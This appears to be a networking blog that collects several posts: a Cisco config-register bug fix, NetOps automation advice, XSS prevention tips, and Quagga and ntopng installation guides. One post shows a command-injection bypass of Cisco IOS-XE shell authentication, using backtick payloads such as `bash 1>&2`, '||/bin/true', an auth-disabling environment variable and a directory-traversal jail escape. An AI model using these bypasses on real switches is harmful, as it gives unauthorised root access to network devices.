CISCO Configuration register stuck at 0x3922 - bug CSCvh27335

- bug associated :  CSCvh27335
- multiple platforms affected
- incl. C800 series, C180x series 
- same issue also with Cisco ISR 2811
- changing confreg values doesn't work via ROMMON nor via config
 -------------------------------------------------------------------------------------------------

SOLUTION:

Change the console baud-rate to a default which is 9600.
After the reload a correct 0x2102 value would show up properly.

conf t
  line con 0
    speed 9600
do wr
do sh ver | s register

 -------------------------------------------------------------------------------------------------

MagLab-phys-R01(config-line)#do sh ver 
Cisco IOS Software, C180X Software (C180X-ADVENTERPRISEK9-M), Version 15.1(4)M12a, RELEASE SOFTWARE (fc1)

ROM: System Bootstrap, Version 12.3(8r)YH13, RELEASE SOFTWARE (fc1)

R01 uptime is 3 hours, 25 minutes
System image file is "flash:c180x.bin"
Last reload type: Normal Reload

Cisco 1802 (MPC8500) processor (revision 0x200) with 589824K/65536K bytes of memory.

9 FastEthernet interfaces
1 ISDN Basic Rate interface
1 ATM interface
1 Virtual Private Network (VPN) Module
250880K bytes of ATA CompactFlash (Read/Write)
Configuration register is 0x3922  <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<




 
MagLab-phys-R01#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
MagLab-phys-R01(config)#config-r
MagLab-phys-R01(config)#config-register 0x2102
MagLab-phys-R01(config)# do sh ver | s register
      
Configuration register is 0x3922

MagLab-phys-R01(config)#line con 0
MagLab-phys-R01(config-line)#speed 9600
MagLab-phys-R01(config-line)#do sh ver | s register
         
Configuration register is 0x3922 (will be 0x2102 at next reload)

MagLab-phys-R01(config-line)# -------------------------------------------------------------------------------------------------

Mistakes when adopting DevOps for production network automation

If that sounds a lot like “DevOps is coming to a network near you” then you have perfect pitch, because that’s exactly what’s going on inside enterprises around the globe.

We already have plenty of evidence, empirical and anecdotal, to indicate that use of automation and orchestration in production environments is not an anomaly. In fact, it appears to be accelerating as NetOps teams try to catch up to their DevOps counterparts.

The pressure to reach automated parity with app development environments can lead to skipping the strategy and going right for the tactical approach to adopting a more agile, automated means of making changes to the production pipeline.

That’s not a good thing. Production is not development, and the blast radius is significantly larger in production where there are hundreds -- sometimes thousands -- of applications and business processes relying on shared networking services. You can’t fail fast enough to avoid incurring damages when something goes wrong.

So as automation and orchestration become the norm in production environments, NetOps teams should be mindful of which DevOps practices they embrace and which they don’t. Because when bad habits are really hard to break, the best option is simply to avoid forming them in the first place.
To help you out, here are the top three bad habits you should avoid when adopting DevOps for production network automation and orchestration:

 3 Bad Habits NetOps Should Avoid

 1. Skipping the code review
The State of Code Review 2017 from SmartBear, a supplier of software-quality tools for teams, notes that 74% of developers participate in code reviews. That sounds good, until you realize that means the other 26% aren’t. Unsurprisingly, the No. 1 reason cited for not reviewing code at desired levels is workload.
This is how defects and bugs (excuse me, "undocumented features") creep into software. These are logic and security-based mistakes that can lead to crashes, outages, memory leaks, and even breaches. When you’re writing scripts, and integrating multiple services to automate and orchestrate a process, you are writing code. And if you are writing code, it needs to be reviewed by someone other than you.
Remember, this isn’t testing or QA where you can mess up and it doesn’t impact the business’ bottom line. This will be production, and a single mistake can lead to all sorts of problems. Make the time to conduct code reviews. The benefits are well-documented and include:

• increased quality of code with higher chance of identifying and eliminating security flaws
• knowledge sharing -- others learn the process along with the code
• compliance (ISO 9000/9001)

2. Ignoring maintainability
     According to a 2016 survey conducted by Software Improvement Group and O’Reilly, 70% of respondents "believe that maintainability is the most important aspect of code to measure, even as compared to performance or security."
I hate PERL, and I’m not all that fond of Python. So I’m going to use node.js instead. Or maybe I’m just going to craft some incomprehensible command-line magic with sed, awk, and my friend grep to push this change to that router. Problem is, no one else uses node.js and that command line relies on my system-specific configuration.

     That is not maintainable, and using “whatever language/tool/system” you want to build scripts and services to automate networking makes embracing code reviews really, really hard. It won’t go well for you. If no one else can maintain that code, it becomes yours. For life.

     It’s like the goldfish you begged for when you were eight and now you’re stuck with it.
Standardizing on languages, tools, and systems early is important.

3. Ignoring security Rule Zero
     Every AD&D (Dungeons and Dragons) player, at least all the ones I play with, know about Rule Zero: “The Dungeon Master is the final arbiter of all rule decisions.” It supersedes all other rules in the game, hence the reason it is numbered as zero. In security, we also have a rule zero: “Thou shalt never trust user input. Ever.”

     A number of high-profile outages were caused by ignoring this rule because command-line parameters passed to any script are, by default, user input.  Ignoring this rule may trigger one a resume-generating event by accidentally causing an outage of extreme proportions.

Never trust user input explicitly.

     Whether that’s the IP address of a wiring closet switch or a variable passed to inform a firewall script which port to open or close, don’t blindly execute on it. Instead, always validate input and, if necessary, force the human invoker of the script to verify the input. After all, they might not have meant to push that configuration change to every switch.
     As you proceed with efforts to automate IT in 2018, pay close attention to the habits you’re forming. Avoiding these three bad habits will go a long way toward ensuring a successful and productive year.

Cisco DevNet Express Security 2019, Prague

** Cisco DevNet Express ** Prague - 5-6.3.2018 

• We created a simple automated workflow, using a different APIs. 
• We identified the Rouge endpoints where malware has executed in our network using AMP for endpoints. 
• We used ISE to quarantine these endpoints to contain the known threats. 
• We used the AMP data to collect intelligence on the SHAs using Threat Grid. 
• We developed the IPs and Domain list associated with these SHAs from Threat Grid. 
• We used Umbrella Investigate to gather intelligence on the Domains/IPs. 
• We used Umbrella Enforcement to contain the threat and prevent the malware from executing, as it can't call home.
• We used FirePower FDM APIs to enforce and contain the threat on the NextGen firewalls. 
• We used the Python programming language to call different APIs. 
• We used Python to pull and push data from different security systems - creating one. 
• We used the Python to parse the JSON, XML, YAML and REST API. 
• We learn how to gather the Intelligence and use it to quickly contain the threat to protect the rest of the network. 
• The future of DevOps is needed in Security Business already and coming fast to the networking as well.

By the end of the second day we had a multiple missions created by Cisco to apply the above gathered knowledge. 


For one of the participants it was also very happy day as he gained not only knowledge but also a fully equipped Raspberry Pi 3B+ ! 

It was my first reward gained from a CyberSecOps business :) And a fourth RPi into the collection :D

Professions are here for a reason

Thanks to Ivan Pepelnjak for the below one.
And many others as welll!

An unused knob is sometimes better than a used.

Professions are here for a reason – they enable people to do the work they’re qualified to do.

Needless to say, it took him decades to fully understand its implications.
Do what you’re qualified to do. Don’t think you’re good as me at everything just because you can Google-and-paste. Figure out where your limitations are.
Seek help when you’re dealing with something beyond your comfort zone. The amount of ignorant improvisation we see in IT is stupefying. Have you ever wondered why lawyers and doctors ask for second opinion?
Yes, I know your manager expects you to know everything just because you have administrator or engineer in your job title, which just proves he never thought about the next two paragraphs.
Don’t think you understand other people’s job. I’m always amazed to watch people completely unqualified to have an opinion on a problem loudly offering it just because they’re experts in totally unrelated field. PhDs in chemistry telling IT engineers how to do their jobs would be one of my first-hand experiences.
Don’t think you could do their jobs better than they do… until you tried and proved you can succeed while facing the same constraints they have. My favorite one: an airline pilot confident he could write a program to do airline’s crew scheduling (which is probably an NP-hard problem) on Commodore-64.
Having said all that, do your job well if you want to earn and retain the trust of your peers. If you’re obviously clueless or randomly throwing fixes at the problem trying to figure out which one might stick don’t be surprised when everyone else starts acting in ways I described above.
Accept help (courtesy of Chris Young).  When a grey-beard gives you a piece of advice - LISTEN. Doesn’t mean you have to accept it as truth or obey their commands, but watching people new to the profession make the same mistakes we all made 20 years ago because they didn’t heed the warning is frustrating…
And “I told you so” doesn’t fix the network or the harm that major network outages cause to our reputation as a profession.

Cisco IOS-XE - Request Platform System Shell

Verifying Authenticity for Digitally Signed Images

Older 3560 & 3580 switches vulnerability:

[code]

Catalyst-3650#request system shell
Activity within this shell can jeopardize the functioning of the system.
Are you sure you want to continue? [y/n] y
Challenge: 94d5c01766c7a0a29c8c59fec3ab992[..]
Please enter the shell access response based on the
above challenge (Press "Enter" when done or to quit.):
/bin/sh
Key verification failed

[/code]

Workaround:

[code]

Please enter the shell access response based on the above challenge
(Press "Enter" when done or to quit.):
`bash 1>&2`

[/code]

No input validation ==>  just use the ' '

[code]

Please enter the shell access response based on the above challenge

(Press "Enter" when done or to quit.):

`reboot`

SecureShell: SecureShell [debug]Key verification failed

Switch#

  

Unmounting ng3k filesystems...

Unmounted /dev/sda3...

Warning! - some ng3k filesystems may not have unmounted cleanly...

Please stand by while rebooting the system...

Restarting system.

  

Booting...Initializing RAM +++++++@@@@@@@@...++++++++

[/code]




Netcat found ...
[code]

bash-3.2# find / -name nc

/tmp/sw/mount/cat3k_caa-infra.SPA.03.03.03SE.pkg/usr/binos/bin/nc

/usr/binos/bin/nc

[/code]




What can be done with it? Whatever reality you want, you might create...

[code]

[EXTRA]    Building a toolchain for:                 

[EXTRA]      build  = x86_64-unknown-linux-gnu

[EXTRA]      host   = x86_64-unknown-linux-gnu

[EXTRA]      target = mips-unknown-elf           




bash-3.2# file /mnt/usb0/ninvaders

/mnt/usb0/ninvaders: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV),

dynamically linked (uses shared libs), for GNU/Linux 2.6.18, with unknown capability

0x41000000 = 0xf676e75, stripped




[/code]

When you request shell following thing happens:

a) shell_wrapper calls system('code_sign_verify_nova_pkg SecureShell challenge response') (same binary is used to verify the images)
b) code_sign_verify_nova_pkg reads via libcodesign_pd.so+libflash.so 2k from /dev/mtdblock6, signs challenge, compares to response and return 0 if it is valid, other wise
c) so anything like ||/bin/true will work just fine

shell_wrapper ignores verification if DISABLE_SHELL_AUTHENTICATION=1 in environment

mtdblock6 RSA public key can be changed, so you can generate valid response by having its secret companion
[code]
you can escape IOS filesystem jail (/mnt/sd3/user) with ../../ sop copy foo ../../etc would copy foo to /etc

[/code]




Cisco MACs (OUI) addresses - all of them

00:00:0C        Cisco                  # CISCO SYSTEMS, INC.
00:01:42        Cisco                  # CISCO SYSTEMS, INC.
00:01:43        Cisco                  # CISCO SYSTEMS, INC.
00:01:63        Cisco                  # CISCO SYSTEMS, INC.
00:01:64        Cisco                  # CISCO SYSTEMS, INC.
00:01:96        Cisco                  # CISCO SYSTEMS, INC.
00:01:97        Cisco                  # CISCO SYSTEMS, INC.
00:01:C7        Cisco                  # CISCO SYSTEMS, INC.
00:01:C9        Cisco                  # CISCO SYSTEMS, INC.
00:02:16        Cisco                  # CISCO SYSTEMS, INC.
00:02:17        Cisco                  # CISCO SYSTEMS, INC.
00:02:3D        Cisco                  # Cisco Systems, Inc.
00:02:4A        Cisco                  # CISCO SYSTEMS, INC.

Steps to prevent leverage of cross-site scripting attacks

Cross-site scripting attacks

How-To: Prevent the XSS attack-vector leverage

 Additional steps from Development to Deployment

 **Developers** 

     - Should determine what is a safe user input and reject all others - be it a text, javascript or any unauthorized piece of code
    - Depending on the Input text box, developers can restrict text to certain characters (avoid ones causing troubles) and also limit the maximum number of characters
    - should write a code which checks that improperly formatted data are never inserted directly into the HTML content, that might compromise the whole web application
    - should implement prepared statements (known to be reliable) for any database queries as well as the input validation described above

**Website operators **

    - should carefully choose third-party web app providers to ensure their products have the right security measures in place
    - should test the web apps to ensure that they are not vulnerable to attacks involving cross-site scripting or SQL injections
    - should continuously scan their sites in real-time to detect any unauthorized code. This should involve not only automated website vulnerability scanners (i.e.: Nikto, OVASP)
    - you have to be proactive == > hire an experienced professionals ( White or Grey ) who can assess web app security against attacks like these with a custom approach
 ========================================================================
     The last step is important !
Anything less than a pro-active, comprehensive approach to securing the sites will grow to infringement of a great number of consumer's data privacy due to regulations like GDPR.
     As a good example of a DO's & DON'Ts we might mention the recent attack on "The British Airways". But you can practically choose any of the large attacks during the past 5 years.
 ========================================================================
         
                   ::Remember::

 Just because a website is secure that necessarily doesn't mean that a web application is secure as well
     
 source: TechRepublic 
( https://www.techrepublic.com/article/british-airways-data-theft-demonstrates-need-for-cross-site-scripting-restrictions )

Quagga == Cisco-like CLI in Linux

Quagga Router
( https://www.quagga.net/ )

- Cisco-like interface + commands - that is Quagga Routing Software Suite
- all today-used routing protocols : BGP, OSPF, EIGRP, RIP and also IS-IS
- for routing uses the OS / Linux Kernel -- > no virtualization nor simulation
/ therefore its fast & speed together with lightness is essence...

 Kompletni manual v PDF: (download from U.S. NAVY .mil website )
 https://downloads.pf.itd.nrl.navy.mil/ospf-manet/archive/quagga-0.99.17mr2.0/quagga.pdf

Install Quagga on Debian, Ubuntu, Gentoo, Centos etc.
-- use the package manager or download latest updated package (production version 0.99)

Ubuntu direct install:
sudo apt install quagga*

Download latest - quagga-1.2.4.tar.gz:
wget http://download.savannah.gnu.org/releases/quagga/quagga-1.2.4.tar.gz /temp

Install & compile :
tar -xzvf /temp/quagga-1.2.4.tar.gz
cd /temp/quagga-1.2.4
cd install
./configure
make
make install

now enable the routing daemons you want to use:
 sudo nano /etc/quagga/daemons

Change as needed:
zebra=yes #<<<<<< has to be enabled for basic functionality
bgpd=yes
ospfd=yes
ospf6d=no
ripd=yes
ripngd=yes
isisd=no
babeld=no

Now you can copy the config samples to main dir:
cp /usr/share/doc/quagga/examples/*.* /etc/quagga/


Also edit the configuration file for VTYSH CLI to enable:
cd /etc/quagga
mv vtysh.conf.sample vtysh.conf

Last thing we need to enable IP Forwarding:
#echo "1" > /proc/sys/net/ipv4/ip_forward  

This adds the "1" value in /proc/sys/net/ipv4/ip_forward file and activates the IP forwarding

To keep the IP Forwarding "ON" after a Linux reboots edit the /etc/sysctl.conf file:
sudo nano /etc/sysctl.conf

press Ctrl + W and type:
forward
enter

and change value to 1
net.ipv4.ip_forward = 1

Or you can also use:

sudo su

echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf 

 So,  are you ready? 
 Run the command vtysh instance: 

##  vtysh -C
##  vtysh


router> enable
router#
router# configure terminal
router(config)#
router(config)#end
router#write

You can start to use the Linux for routing!

In next article ::
explanation howto create BGP session between your home Cisco router /GNS3/ and your cloud VPS
Enjoy!

NetFlow + NtopNG

NetFlow + Ntop-NG

-- after few hours pulling my hairs finally have NetFlow Collector up and running

-- Finally went for Ntop with NBOX webGUI and must admit that graphics is just COOOL!!! :)

-- Dashboard and all working with it is done with precision and experiences

-- can be installed from repositories ;)

sudo dpkg -i apt-ntop-stable.deb

sudo apt-get clean all

sudo apt update

sudo apt install pfring /
nprobe ntopng ntopng-data n2disk cento nbox pfring-drivers-zc-dkms

sudo apt update

sudo apt install ntopng
(yes, it is really twice here -- first time didn't resolve all dependencies)

To activate the new configuration, you need to run:
  service apache2 reload
insserv: warning: script 'K01nfsen' missing LSB tags and overrides
insserv: warning: script 'nfsen' missing LSB tags and overrides
[ ok ] Reloading apache2 configuration (via systemctl): apache2.service.
[ ok ] Restarting apache2 (via systemctl): apache2.service.

*** IMPORTANT IMPORTANT IMPORTANT IMPORTANT IMPORTANT ***

You can now point your browser to https://localhost/

The default user is nbox with password nbox

*** IMPORTANT IMPORTANT IMPORTANT IMPORTANT IMPORTANT ***


So you can go ahead and check it - don't forget to change default password and restart apache2 after ... :D